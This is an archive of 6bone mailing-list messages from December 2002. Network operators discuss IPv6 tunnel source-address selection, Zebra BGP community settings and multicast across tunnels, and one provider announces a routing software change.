Date: Wed, 11 Dec 2002 08:37:05 +1100
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> Thanks for all of ur advice. Because our network is behind a 
> NAT server, the
> two IPv6 hosts might not be assigned global IPv4 addresses so 
> as to act as

As long as the NAT gateway is not between the two hosts, there isn't a
problem (if you look closely at the Red Hat configuration I sent yesterday,
you'll notice private IP addresses in the IPv4 endpoints.  Yes, the IPv6
host-host tunnel I'm running is in private IPv4 space.

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From djw@bbn.com Wed Dec 11 08:36:41 2002
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From: David Waitzman <djw@bbn.com>
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Subject: [6bone] freebsd src addr wrong
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I have a 6bone tunnel connection with a non-routed tunnel endpoint 2001:: 
address.  I also have an official 6bone 3ffe:: address, which is assigned 
to one of my ether interfaces.

When I "ping6 www.kame.net" I see that my side of the tunnel is used as a 
source address.  I don't get ping responses back (presumably because 
www.kame.net does not know where to send responses, given that the address 
it is getting is not routed).

If I do a ping6 -S, selecting my 6bone 3ffe:: address as the source, then 
ping6 gets responses from kame just fine.

I am using FreeBSD 4.6.
We run Zebra-based BGP+ with our tunnel provider and thus have no default 
route.

My questions:
1. Should tunnel endpoint addresses be routable?
2. Or how do I force FreeBSD to use the ether's IPv6 address as a source by 
default?  (Not all applications have the equivalent of Ping6's -S option to 
force the source address selection.)

-david waitzman


From paul@timmins.net Wed Dec 11 10:24:18 2002
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Date: Wed, 11 Dec 2002 13:23:48 -0500
To: David Waitzman <djw@bbn.com>
From: Paul Timmins <paul@timmins.net>
Subject: Re: [6bone] freebsd src addr wrong
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At 11:36 AM 12/11/2002 -0500, you wrote:
>I have a 6bone tunnel connection with a non-routed tunnel endpoint 2001:: 
>address.  I also have an official 6bone 3ffe:: address, which is assigned 
>to one of my ether interfaces.
>
>When I "ping6 www.kame.net" I see that my side of the tunnel is used as a 
>source address.  I don't get ping responses back (presumably because 
>www.kame.net does not know where to send responses, given that the address 
>it is getting is not routed).

What it is doing is correct, and all implementations do this. They take the 
IP address of the closest egress interface, being your tunnel.

This is generally a good thing, as if you have a machine with a RFC-1918 
address on fxp0, and an internet wide interface on ppp0, you don't want to 
source packets out ppp0 with the IP address of fxp0. Put in this 
perspective, it makes more sense. :-)

>If I do a ping6 -S, selecting my 6bone 3ffe:: address as the source, then 
>ping6 gets responses from kame just fine.

This beats the logic that gives you the IP of the egress interface.

>I am using FreeBSD 4.6.
>We run Zebra-based BGP+ with our tunnel provider and thus have no default 
>route.

Behavior is the same with my Linux 2.4.19 machine running defaultless BGP4+ 
with Zebra.

>My questions:
>1. Should tunnel endpoint addresses be routable?

Yes

>2. Or how do I force FreeBSD to use the ether's IPv6 address as a source 
>by default?  (Not all applications have the equivalent of Ping6's -S 
>option to force the source address selection.)

No idea. Haven't used *BSD in a long enough time to remember.

-Paul


From wsx@wsx6.net Wed Dec 11 11:19:12 2002
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Date: Wed, 11 Dec 2002 20:19:02 +0100
From: Jan Oravec <jan.oravec@6com.sk>
To: Paul Timmins <paul@timmins.net>
Cc: David Waitzman <djw@bbn.com>, 6bone@mailman.isi.edu
Subject: Re: [6bone] freebsd src addr wrong
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> >My questions:
> >1. Should tunnel endpoint addresses be routable?
> 
> Yes

I do not see a reason for IPv6-numbering PtP interfaces. We usually need
that for special connections (usually routing software) between two nodes
which are connected. The great advantage of IPv6 is that we have link-local
addresses, thus we do not need public-routable addresses for that.

You will need to specify interface in bgpd.conf, e.g.:

neighbor fe80::201:3ff:fed5:bd1e remote-as 12345
neighbor fe80::201:3ff:fed5:bd1e interface gif0

Best Regards,

-- 
Jan Oravec                           XS26 coordinator
6COM s.r.o.                          'Access to IPv6'
http://www.6com.sk                   http://www.xs26.net
+421-903-316905

From kim@tac.nyc.ny.us Wed Dec 11 11:24:16 2002
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To: Paul Timmins <paul@timmins.net>
Cc: David Waitzman <djw@bbn.com>, 6bone@mailman.isi.edu
Subject: Re: [6bone] freebsd src addr wrong
In-Reply-To: <5.1.1.6.0.20021211131947.00b95910@workbench.net>
 from Paul Timmins on Wed, 11 Dec 2002 13:23:48 -0500
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I've found that on a multihomed KAME (NetBSD) system the address
numerically closest to that of the destination would be used, at
least when all the egress interfaces (being tunnels) had no global
addresses.  I would have liked to be able to mark one address as
the primary to be used when a specific source address was not
explicitly requested by the application.

The workaround is not to use routers to talk to anyone...  :-)

+ Kim


| From:    Paul Timmins <paul@timmins.net>
| Date:    Wed, 11 Dec 2002 13:23:48 -0500
|
| At 11:36 AM 12/11/2002 -0500, you wrote:
| >I have a 6bone tunnel connection with a non-routed tunnel endpoint 2001::
| >address.  I also have an official 6bone 3ffe:: address, which is assigned
| >to one of my ether interfaces.
| >
| >When I "ping6 www.kame.net" I see that my side of the tunnel is used as a
| >source address.  I don't get ping responses back (presumably because
| >www.kame.net does not know where to send responses, given that the address
| >it is getting is not routed).
|
| What it is doing is correct, and all implementations do this. They take the
| IP address of the closest egress interface, being your tunnel.
|
| This is generally a good thing, as if you have a machine with a RFC-1918
| address on fxp0, and an internet wide interface on ppp0, you don't want to
| source packets out ppp0 with the IP address of fxp0. Put in this
| perspective, it makes more sense. :-)

From jeroen@unfix.org Wed Dec 11 11:26:20 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'David Waitzman'" <djw@bbn.com>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] freebsd src addr wrong
Date: Wed, 11 Dec 2002 20:27:08 +0100
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David Waitzman wrote:

> I have a 6bone tunnel connection with a non-routed tunnel 
> endpoint 2001:: 
> address.  I also have an official 6bone 3ffe:: address, which 
> is assigned 
> to one of my ether interfaces.
> 
> When I "ping6 www.kame.net" I see that my side of the tunnel 
> is used as a 
> source address.  I don't get ping responses back (presumably because 
> www.kame.net does not know where to send responses, given 
> that the address 
> it is getting is not routed).
> 
> If I do a ping6 -S, selecting my 6bone 3ffe:: address as the 
> source, then 
> ping6 gets responses from kame just fine.
> 
> I am using FreeBSD 4.6.
> We run Zebra-based BGP+ with our tunnel provider and thus 
> have no default 
> route.
> 
> My questions:
> 1. Should tunnel endpoint addresses be routable?

They should be reachable thus they should be 'routable'.

> 2. Or how do I force FreeBSD to use the ether's IPv6 address 
> as a source by 
> default?  (Not all applications have the equivalent of 
> Ping6's -S option to 
> force the source address selection.)

Get yourself a decent OS with sourcerouting.
Also your upstream SHOULD filter out any prefixes of source addresses
not belonging to them (aka eggress filtering :).

And yes this breaks 'multihoming', at least the way some people define
it.

Greets,
 Jeroen


From max@chabrowa.net Wed Dec 11 16:25:27 2002
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Date: Thu, 12 Dec 2002 01:26:04 +0100
From: Marcin Markowski <max@chabrowa.net>
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 Hi,

I have private ASN and i have problems, because my ASN is announced to
public routes. I have 'set community no-export' in route-map to all
peers, but that option doesn't work. Maybe someone know where is problem?
I'm using Slackware 8.1 with zebra 0.93b
Example of conf with peer:
[...]
 neighbor 3ffe:8060:100::46:1 remote-as 5424
 neighbor 3ffe:8060:100::46:1 description ATNET-AT (router1.ipv6.atnet.at)
 neighbor 3ffe:8060:100::46:1 interface atnet-at
 neighbor 3ffe:8060:100::46:1 update-source 3ffe:8060:100::46:2
[...]
 neighbor 3ffe:8060:100::46:1 activate
 neighbor 3ffe:8060:100::46:1 soft-reconfiguration inbound
 neighbor 3ffe:8060:100::46:1 prefix-list bgp-i in
 neighbor 3ffe:8060:100::46:1 prefix-list ebgp-risp-out out
 neighbor 3ffe:8060:100::46:1 route-map noexport-out out
[...]
route-map noexport-out permit 10
 match ipv6 address all
 set community no-export
[...]

-- 
Marcin Markowski
mail: max@chabrowa.net
tel.: +48 502305580


From hari@UDel.Edu Wed Dec 11 16:26:22 2002
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Date: Wed, 11 Dec 2002 19:25:01 -0500 (EST)
From: Harish Nair <hari@UDel.Edu>
To: 6bone@mailman.isi.edu
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This message concerns about site multicasting across subnets. We have two
IPv6 site local subnets here : fec0::1 and fec0::2

Each subnet has a FreeBSD machine acting as a router.
The two routers have only IPv4 connectivity between them and so are
"Ipv6 connected" using gif Ipv6-Ipv4 tunnels.

Both routers have the pim6dd deamon running for multicast. One node in
sunbet 1 functions as an NTP multicast server transmitting timestamps to
the site multicast address ff05::101. All other nodes in both subnets act
as ntp multicast clients looking for timestamps from ff05::101. However we
only nodes in subnet 1 are able to receive the timestamps. The gif tunnels
in both routers are multicast enabled.

How do I get both routers to forward multicast packets across the tunnels?

Thanks,
Harish

On Wed, 11 Dec 2002 6bone-request@mailman.isi.edu wrote:

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> Today's Topics:
>
>    1. RE: Two IPv6 Hosts Communicating over IPv4 network (Tony Langdon)
>    2. freebsd src addr wrong (David Waitzman)
>    3. Re: freebsd src addr wrong (Paul Timmins)
>    4. Re: freebsd src addr wrong (Jan Oravec)
>    5. Re: freebsd src addr wrong (Kimmo Suominen)
>    6. RE: freebsd src addr wrong (Jeroen Massar)
>
> --__--__--
>
> Message: 1
> From: Tony Langdon <tlangdon@atctraining.com.au>
> To: "'Chen Zhigao'" <zgchen@psl.com.sg>,
>    Stephane Bortzmeyer
> 	 <bortzmeyer@gitoyen.net>, pasky@xs26.net
> Cc: 6bone@mailman.isi.edu
> Subject: RE: [6bone] Two IPv6 Hosts Communicating over IPv4 network
> Date: Wed, 11 Dec 2002 08:37:05 +1100
>
> > Thanks for all of ur advice. Because our network is behind a
> > NAT server, the
> > two IPv6 hosts might not be assigned global IPv4 addresses so
> > as to act as
>
> As long as the NAT gateway is not between the two hosts, there isn't a
> problem (if you look closely at the Red Hat configuration I sent yesterday,
> you'll notice private IP addresses in the IPv4 endpoints.  Yes, the IPv6
> host-host tunnel I'm running is in private IPv4 space.
>
> ---
> Outgoing mail has been scanned for Viruses
> Checked by AVG anti-virus system (http://www.grisoft.com).
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> notify the sender. You must not disclose, copy or rely on any part of this
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>
> Any opinions expressed in this message are those of the individual sender.
>
>
> --__--__--
>
> Message: 2
> Date: Wed, 11 Dec 2002 11:36:25 -0500
> From: David Waitzman <djw@bbn.com>
> To: 6bone@mailman.isi.edu
> Subject: [6bone] freebsd src addr wrong
>
> I have a 6bone tunnel connection with a non-routed tunnel endpoint 2001::
> address.  I also have an official 6bone 3ffe:: address, which is assigned
> to one of my ether interfaces.
>
> When I "ping6 www.kame.net" I see that my side of the tunnel is used as a
> source address.  I don't get ping responses back (presumably because
> www.kame.net does not know where to send responses, given that the address
> it is getting is not routed).
>
> If I do a ping6 -S, selecting my 6bone 3ffe:: address as the source, then
> ping6 gets responses from kame just fine.
>
> I am using FreeBSD 4.6.
> We run Zebra-based BGP+ with our tunnel provider and thus have no default
> route.
>
> My questions:
> 1. Should tunnel endpoint addresses be routable?
> 2. Or how do I force FreeBSD to use the ether's IPv6 address as a source by
> default?  (Not all applications have the equivalent of Ping6's -S option to
> force the source address selection.)
>
> -david waitzman
>
>
> --__--__--
>
> Message: 3
> Date: Wed, 11 Dec 2002 13:23:48 -0500
> To: David Waitzman <djw@bbn.com>
> From: Paul Timmins <paul@timmins.net>
> Subject: Re: [6bone] freebsd src addr wrong
> Cc: 6bone@mailman.isi.edu
>
> At 11:36 AM 12/11/2002 -0500, you wrote:
> >I have a 6bone tunnel connection with a non-routed tunnel endpoint 2001::
> >address.  I also have an official 6bone 3ffe:: address, which is assigned
> >to one of my ether interfaces.
> >
> >When I "ping6 www.kame.net" I see that my side of the tunnel is used as a
> >source address.  I don't get ping responses back (presumably because
> >www.kame.net does not know where to send responses, given that the address
> >it is getting is not routed).
>
> What it is doing is correct, and all implementations do this. They take the
> IP address of the closest egress interface, being your tunnel.
>
> This is generally a good thing, as if you have a machine with a RFC-1918
> address on fxp0, and an internet wide interface on ppp0, you don't want to
> source packets out ppp0 with the IP address of fxp0. Put in this
> perspective, it makes more sense. :-)
>
> >If I do a ping6 -S, selecting my 6bone 3ffe:: address as the source, then
> >ping6 gets responses from kame just fine.
>
> This beats the logic that gives you the IP of the egress interface.
>
> >I am using FreeBSD 4.6.
> >We run Zebra-based BGP+ with our tunnel provider and thus have no default
> >route.
>
> Behavior is the same with my Linux 2.4.19 machine running defaultless BGP4+
> with Zebra.
>
> >My questions:
> >1. Should tunnel endpoint addresses be routable?
>
> Yes
>
> >2. Or how do I force FreeBSD to use the ether's IPv6 address as a source
> >by default?  (Not all applications have the equivalent of Ping6's -S
> >option to force the source address selection.)
>
> No idea. Haven't used *BSD in a long enough time to remember.
>
> -Paul
>
>
> --__--__--
>
> Message: 4
> Date: Wed, 11 Dec 2002 20:19:02 +0100
> From: Jan Oravec <jan.oravec@6com.sk>
> To: Paul Timmins <paul@timmins.net>
> Cc: David Waitzman <djw@bbn.com>, 6bone@mailman.isi.edu
> Subject: Re: [6bone] freebsd src addr wrong
> Reply-To: Jan Oravec <jan.oravec@6com.sk>
>
> > >My questions:
> > >1. Should tunnel endpoint addresses be routable?
> >
> > Yes
>
> I do not see a reason for IPv6-numbering PtP interfaces. We usually need
> that for special connections (usually routing software) between two nodes
> which are connected. The great advantage of IPv6 is that we have link-local
> addresses, thus we do not need public-routable addresses for that.
>
> You will need to specify interface in bgpd.conf, e.g.:
>
> neighbor fe80::201:3ff:fed5:bd1e remote-as 12345
> neighbor fe80::201:3ff:fed5:bd1e interface gif0
>
> Best Regards,
>
> --
> Jan Oravec                           XS26 coordinator
> 6COM s.r.o.                          'Access to IPv6'
> http://www.6com.sk                   http://www.xs26.net
> +421-903-316905
>
> --__--__--
>
> Message: 5
> To: Paul Timmins <paul@timmins.net>
> Cc: David Waitzman <djw@bbn.com>, 6bone@mailman.isi.edu
> Subject: Re: [6bone] freebsd src addr wrong
> Date: Wed, 11 Dec 2002 14:24:14 -0500
> From: Kimmo Suominen <kim@tac.nyc.ny.us>
>
> I've found that on a multihomed KAME (NetBSD) system the address
> numerically closest to that of the destination would be used, at
> least when all the egress interfaces (being tunnels) had no global
> addresses.  I would have liked to be able to mark one address as
> the primary to be used when a specific source address was not
> explicitly requested by the application.
>
> The workaround is not to use routers to talk to anyone...  :-)
>
> + Kim
>
>
> | From:    Paul Timmins <paul@timmins.net>
> | Date:    Wed, 11 Dec 2002 13:23:48 -0500
> |
> | At 11:36 AM 12/11/2002 -0500, you wrote:
> | >I have a 6bone tunnel connection with a non-routed tunnel endpoint 2001::
> | >address.  I also have an official 6bone 3ffe:: address, which is assigned
> | >to one of my ether interfaces.
> | >
> | >When I "ping6 www.kame.net" I see that my side of the tunnel is used as a
> | >source address.  I don't get ping responses back (presumably because
> | >www.kame.net does not know where to send responses, given that the address
> | >it is getting is not routed).
> |
> | What it is doing is correct, and all implementations do this. They take the
> | IP address of the closest egress interface, being your tunnel.
> |
> | This is generally a good thing, as if you have a machine with a RFC-1918
> | address on fxp0, and an internet wide interface on ppp0, you don't want to
> | source packets out ppp0 with the IP address of fxp0. Put in this
> | perspective, it makes more sense. :-)
>
> --__--__--
>
> Message: 6
> From: "Jeroen Massar" <jeroen@unfix.org>
> To: "'David Waitzman'" <djw@bbn.com>, <6bone@mailman.isi.edu>
> Subject: RE: [6bone] freebsd src addr wrong
> Date: Wed, 11 Dec 2002 20:27:08 +0100
> Organization: Unfix
>
> David Waitzman wrote:
>
> > I have a 6bone tunnel connection with a non-routed tunnel
> > endpoint 2001::
> > address.  I also have an official 6bone 3ffe:: address, which
> > is assigned
> > to one of my ether interfaces.
> >
> > When I "ping6 www.kame.net" I see that my side of the tunnel
> > is used as a
> > source address.  I don't get ping responses back (presumably because
> > www.kame.net does not know where to send responses, given
> > that the address
> > it is getting is not routed).
> >
> > If I do a ping6 -S, selecting my 6bone 3ffe:: address as the
> > source, then
> > ping6 gets responses from kame just fine.
> >
> > I am using FreeBSD 4.6.
> > We run Zebra-based BGP+ with our tunnel provider and thus
> > have no default
> > route.
> >
> > My questions:
> > 1. Should tunnel endpoint addresses be routable?
>
> They should be reachable thus they should be 'routable'.
>
> > 2. Or how do I force FreeBSD to use the ether's IPv6 address
> > as a source by
> > default?  (Not all applications have the equivalent of
> > Ping6's -S option to
> > force the source address selection.)
>
> Get yourself a decent OS with sourcerouting.
> Also your upstream SHOULD filter out any prefixes of source addresses
> not belonging to them (aka eggress filtering :).
>
> And yes this breaks 'multihoming', at least the way some people define
> it.
>
> Greets,
>  Jeroen
>
>
>
> --__--__--
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>
>
> End of 6bone Digest
>

From tvo@EnterZone.Net Wed Dec 11 16:45:28 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Marcin Markowski <max@chabrowa.net>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Strage problems with BGP
In-Reply-To: <39348758388.20021212012604@chabrowa.net>
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It is quite possible that your peers are overwriting your community on
import.  The correct/responsible thing for them to do is to tag prefixes
they receive from you with NO-EXPORT themselfs.  


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |


On Thu, 12 Dec 2002, Marcin Markowski wrote:

>  Hi,
> 
> I have private ASN and i have problems, because my ASN is announced to
> public routes. I have 'set community no-export' in route-map to all
> peers, but that option doesn't work. Maybe someone know where is problem?
> I'm using Slackware 8.1 with zebra 0.93b
> Example of conf with peer:
> [...]
>  neighbor 3ffe:8060:100::46:1 remote-as 5424
>  neighbor 3ffe:8060:100::46:1 description ATNET-AT (router1.ipv6.atnet.at)
>  neighbor 3ffe:8060:100::46:1 interface atnet-at
>  neighbor 3ffe:8060:100::46:1 update-source 3ffe:8060:100::46:2
> [...]
>  neighbor 3ffe:8060:100::46:1 activate
>  neighbor 3ffe:8060:100::46:1 soft-reconfiguration inbound
>  neighbor 3ffe:8060:100::46:1 prefix-list bgp-i in
>  neighbor 3ffe:8060:100::46:1 prefix-list ebgp-risp-out out
>  neighbor 3ffe:8060:100::46:1 route-map noexport-out out
> [...]
> route-map noexport-out permit 10
>  match ipv6 address all
>  set community no-export
> [...]
> 
> -- 
> Marcin Markowski
> mail: max@chabrowa.net
> tel.: +48 502305580
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From gert@Space.Net Wed Dec 11 21:39:59 2002
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From: Gert Doering <gert@space.net>
To: Marcin Markowski <max@chabrowa.net>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Strage problems with BGP
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Hi,

On Thu, Dec 12, 2002 at 01:26:04AM +0100, Marcin Markowski wrote:
> I have private ASN and i have problems, because my ASN is announced to
> public routes. I have 'set community no-export' in route-map to all
> peers, but that option doesn't work. Maybe someone know where is problem?
> I'm using Slackware 8.1 with zebra 0.93b
> Example of conf with peer:
> [...]
>  neighbor 3ffe:8060:100::46:1 remote-as 5424
>  neighbor 3ffe:8060:100::46:1 description ATNET-AT (router1.ipv6.atnet.at)
>  neighbor 3ffe:8060:100::46:1 interface atnet-at
>  neighbor 3ffe:8060:100::46:1 update-source 3ffe:8060:100::46:2
> [...]
>  neighbor 3ffe:8060:100::46:1 activate
>  neighbor 3ffe:8060:100::46:1 soft-reconfiguration inbound
>  neighbor 3ffe:8060:100::46:1 prefix-list bgp-i in
>  neighbor 3ffe:8060:100::46:1 prefix-list ebgp-risp-out out
>  neighbor 3ffe:8060:100::46:1 route-map noexport-out out

With a Cisco, you would also need:

   neighbor 3ffe:8060:100::46:1 send-community

dunno whether this is true for Zebra as well.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54255  (54136)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From max@chabrowa.net Wed Dec 11 23:27:47 2002
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Thursday, December 12, 2002, 6:39:56 AM, you wrote:
GD> With a Cisco, you would also need:

GD>    neighbor 3ffe:8060:100::46:1 send-community

GD> dunno whether this is true for Zebra as well.

Thank You. Now works ;)

-- 
Marcin Markowski
mail: max@chabrowa.net
tel.: +48 502 305 580


From ehofmann@uu.net Wed Dec 11 23:40:44 2002
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Hi Marcin,

can you also send your ipv6 access-list "all"?

best regards,

Enno

Marcin Markowski wrote:
>  Hi,
> 
> I have private ASN and i have problems, because my ASN is announced to
> public routes. I have 'set community no-export' in route-map to all
> peers, but that option doesn't work. Maybe someone know where is problem?
> I'm using Slackware 8.1 with zebra 0.93b
> Example of conf with peer:
> [...]
>  neighbor 3ffe:8060:100::46:1 remote-as 5424
>  neighbor 3ffe:8060:100::46:1 description ATNET-AT (router1.ipv6.atnet.at)
>  neighbor 3ffe:8060:100::46:1 interface atnet-at
>  neighbor 3ffe:8060:100::46:1 update-source 3ffe:8060:100::46:2
> [...]
>  neighbor 3ffe:8060:100::46:1 activate
>  neighbor 3ffe:8060:100::46:1 soft-reconfiguration inbound
>  neighbor 3ffe:8060:100::46:1 prefix-list bgp-i in
>  neighbor 3ffe:8060:100::46:1 prefix-list ebgp-risp-out out
>  neighbor 3ffe:8060:100::46:1 route-map noexport-out out
> [...]
> route-map noexport-out permit 10
>  match ipv6 address all
>  set community no-export
> [...]


From kaushik_ari@rediffmail.com Thu Dec 12 00:21:31 2002
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Hi all,
      I have a doubt regarding ipv4 over ipv6 tunnel.

1. When a tunnel is configured,  we configure source and 
destination for the tunnel. Why source address should be 
configured for the tunnel. Is it not sufficient to configure only 
destination address for the tunnel.

2. is it necessary to establish the path between source and 
destination explicitly before establishing a tunnel and then use 
this path in routing header of tunnel packet for transmitting the 
packet?.


thanks in advance

regards
ari.




From tvo@EnterZone.Net Thu Dec 12 06:30:51 2002
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Zebra sends commmunities unless explicitly disabled.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |


On Thu, 12 Dec 2002, Gert Doering wrote:

> Hi,
> 
> On Thu, Dec 12, 2002 at 01:26:04AM +0100, Marcin Markowski wrote:
> > I have private ASN and i have problems, because my ASN is announced to
> > public routes. I have 'set community no-export' in route-map to all
> > peers, but that option doesn't work. Maybe someone know where is problem?
> > I'm using Slackware 8.1 with zebra 0.93b
> > Example of conf with peer:
> > [...]
> >  neighbor 3ffe:8060:100::46:1 remote-as 5424
> >  neighbor 3ffe:8060:100::46:1 description ATNET-AT (router1.ipv6.atnet.at)
> >  neighbor 3ffe:8060:100::46:1 interface atnet-at
> >  neighbor 3ffe:8060:100::46:1 update-source 3ffe:8060:100::46:2
> > [...]
> >  neighbor 3ffe:8060:100::46:1 activate
> >  neighbor 3ffe:8060:100::46:1 soft-reconfiguration inbound
> >  neighbor 3ffe:8060:100::46:1 prefix-list bgp-i in
> >  neighbor 3ffe:8060:100::46:1 prefix-list ebgp-risp-out out
> >  neighbor 3ffe:8060:100::46:1 route-map noexport-out out
> 
> With a Cisco, you would also need:
> 
>    neighbor 3ffe:8060:100::46:1 send-community
> 
> dunno whether this is true for Zebra as well.
> 
> Gert Doering
>         -- NetMaster
> -- 
> Total number of prefixes smaller than registry allocations:  54255  (54136)
> 
> SpaceNet AG                 Mail: netmaster@Space.Net
> Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> 80807 Muenchen              Fax : +49-89-32356-299
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From aangel@myrealbox.com Thu Dec 12 17:31:02 2002
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aridaman kaushik wrote:

> Hi all,
>      I have a doubt regarding ipv4 over ipv6 tunnel.
>
> 1. When a tunnel is configured,  we configure source and destination 
> for the tunnel. Why source address should be configured for the 
> tunnel. Is it not sufficient to configure only destination address for 
> the tunnel.

The machines on which you configure the tunnel need to know their own 
address, or else they won't have anything to stick in the source field 
of the IP header.

> 2. is it necessary to establish the path between source and 
> destination explicitly before establishing a tunnel and then use this 
> path in routing header of tunnel packet for transmitting the packet?. 

Well, you need to be able to reach the destination.  Provided you can 
reach the destination from both ends, that's all that needs to be done. 
 The destination address in the IP header is used to route the packet 
through the network to the other endpoint.


From paul@clubi.ie Fri Dec 13 08:43:41 2002
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On Thu, 12 Dec 2002, John Fraizer wrote:

> 
> Zebra sends commmunities unless explicitly disabled.

perhaps only for iBGP, maybe it still needs to be enabled for eBGP 
sessions.

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
	warning: do not ever send email to spam@dishone.st
Fortune:
Life is a yo-yo, and mankind ties knots in the string.


From pasky@machine.sinus.cz Mon Dec 16 07:38:57 2002
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From: Petr Baudis <pasky@xs26.net>
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Subject: [6bone] [NOTIFY] XS26 service/peering outage
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  Hello,

  we want to notify you about a XS26 service and peering outage, which is
expected to occur in the next days, starting by Dec 23 2002.

  Due to consistent and major problems with zebra as a routing software
(BGP+OSPF6) on our Points of Presence and fundamental lack of certain features
we require in the routing protocols we currently use, we decided to switch the
whole network to a new completely different routing software, coded by Jan
Oravec specially for the Access to Six project. This software will use own
special protocol for internal routing inside of the XS26 network and it will
support BGP for external peerings. This software will also make it possible to
finally add support for user BGP peerings and dial-up users support. Also,
considerable web interface usability improvements will be done.

  The current XS26 network is de facto unmaintained for a few last days. Zebra
didn't scale well at all and the frequency of outages and crashes of its
instances on various PoPs was exceeding the critical values lately. Note that
we are not aware of any problems caused to our eBGP peers because of these
issues.

  We are fully aware of the current routing problems and outages, thus we
decided to introduce the routing software as soon as possible. However, the BGP
support isn't yet production-grade and we are afraid of messing up the global
BGP tables, causing pan-6bone damages. Thus, we decided to keep the old bgpd
running on nlams-02-01 and dkcop-0a-00 with BGP sessions to AORTA (NL and NO),
advertising only ourselves and making AORTA (formerly known as CHELLO) our
default route. Thus, for this period (we expect the full BGP support to be a
matter of days), our prefix will be announced via AORTA and it will be our only
connectivity. This way, we would also like to thank AORTA for the support and
great help.

   Even after starting up our BGP implementation we will announce only our
prefix (we won't provide transit) for some time, while we will be testing it
carefully. We expect to proceed with re-establishment of the BGP peerings
slowly and carefully, as we don't want to harm connectivity of other sites or
pollute the global BGP table with bogus entries. Also, we will take this
opportunity and give full-transit only to those who will actually want it
explicitly.

  If you would notice any such behaviour, please notify us in case we would not
notice that immediately. We hope that the transition problems will be minimal,
but it's expectable that since the software was not tested on any other
production network yet, there will be maybe some problems and further outages.
Please bear with us, we will try to correct any problems as soon as possible.

  Kind regards,

			Petr Baudis <pasky@xs26.net>
			(on behalf of the XS26 team)

From pim@ipng.nl Mon Dec 16 08:06:58 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Petr Baudis <pasky@xs26.net>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage
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|   Due to consistent and major problems with zebra as a routing software
| (BGP+OSPF6) on our Points of Presence and fundamental lack of certain features
| we require in the routing protocols we currently use, we decided to switch the
| whole network to a new completely different routing software, coded by Jan
| Oravec specially for the Access to Six project. This software will use own
| special protocol for internal routing inside of the XS26 network and it will
| support BGP for external peerings. This software will also make it possible to
| finally add support for user BGP peerings and dial-up users support. Also,
| considerable web interface usability improvements will be done.
Petr,

Which 'major problems' do you have with bgpd/ospf6d ? I have been
running this succesfully since the day I enabled it. I've seen succesful
adjacencies being built between Zebra boxes, Zebra/Cisco, and
Zebra/Juniper machines.

You plan to run proprietary software due to lack of support ? May we
also know which support you are referring to and why the current set of
routing protocols is not good enough ? I'd be interrested in hearing
your motivations.

|    Even after starting up our BGP implementation we will announce only our
| prefix (we won't provide transit) for some time, while we will be testing it
| carefully. We expect to proceed with re-establishment of the BGP peerings
| slowly and carefully, as we don't want to harm connectivity of other sites or
| pollute the global BGP table with bogus entries. Also, we will take this
| opportunity and give full-transit only to those who will actually want it
| explicitly.
Good luck with your BGP implementation! I'll surely notify you if I see
anything strange from the AS's I maintain.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From pasky@machine.sinus.cz Mon Dec 16 09:03:50 2002
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To: Pim van Pelt <pim@ipng.nl>
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Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage
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Dear diary, on Mon, Dec 16, 2002 at 05:06:53PM CET, I got a letter,
where Pim van Pelt <pim@ipng.nl> told me, that...
> Petr,

Hello Pim,

> Which 'major problems' do you have with bgpd/ospf6d ? I have been
> running this succesfully since the day I enabled it. I've seen succesful
> adjacencies being built between Zebra boxes, Zebra/Cisco, and
> Zebra/Juniper machines.

we were encountering numerous of frequently rather subtle bugs in both ospf6d
and bgpd. Apart random crashes in various time periods (from few minutes to
weeks) and topology mess-ups (OSPFv3 tree broken into several parts not
connecting together, BGP connection sometimes not working over the OSPFv3
connections), we experienced problems with syncing of kernel and zebra's
routing tables, strange deadlocks caused by reading/writing to blocking fds,
90% of the routes suddenly being routed to eth0 (while all the peerings were
over tunnels) and number of other problems. Also, there are some portability
problems, especially on FreeBSD we had visibly more problems than on ie. Linux.

Basically, zebra looks not to be prepared for the networks which change very
dynamically (our iBGP table changes very frequently as user prefixes appear and
disappear; it's also relatively big (in the 6bone world, at least ;) because of
the user prefixes present there).

I must admit that I don't have enough overview to provide further technical
details about the problems, please ask Jan about them (he maintains our version
of zebra (available at http://www.xs26.net/zebra/)).

> You plan to run proprietary software due to lack of support ? May we
> also know which support you are referring to and why the current set of
> routing protocols is not good enough ? I'd be interrested in hearing
> your motivations.

The protocol will mainly reflect the environment, that is tunneled connections
and very dynamic routing tables. The tunneled connections mean that as the IPv4
network routing changes, the latency changes, thus the protocol supports
dynamic computing of the connection latency. This is essential for us and if we
would implement this with OSPF, it would cause routing storms and OSPF routing
table would never converge. Contrary to OSPF, our routers will keep full state
about the connections, thus they will be able to maintain the routing structure
much better and cope with the frequent changes.

Also, reduction from OSPF+iBGP to just one protocol will reduce the number of
points of failure, simplify the routing infrastructure and maintenance of the
network.
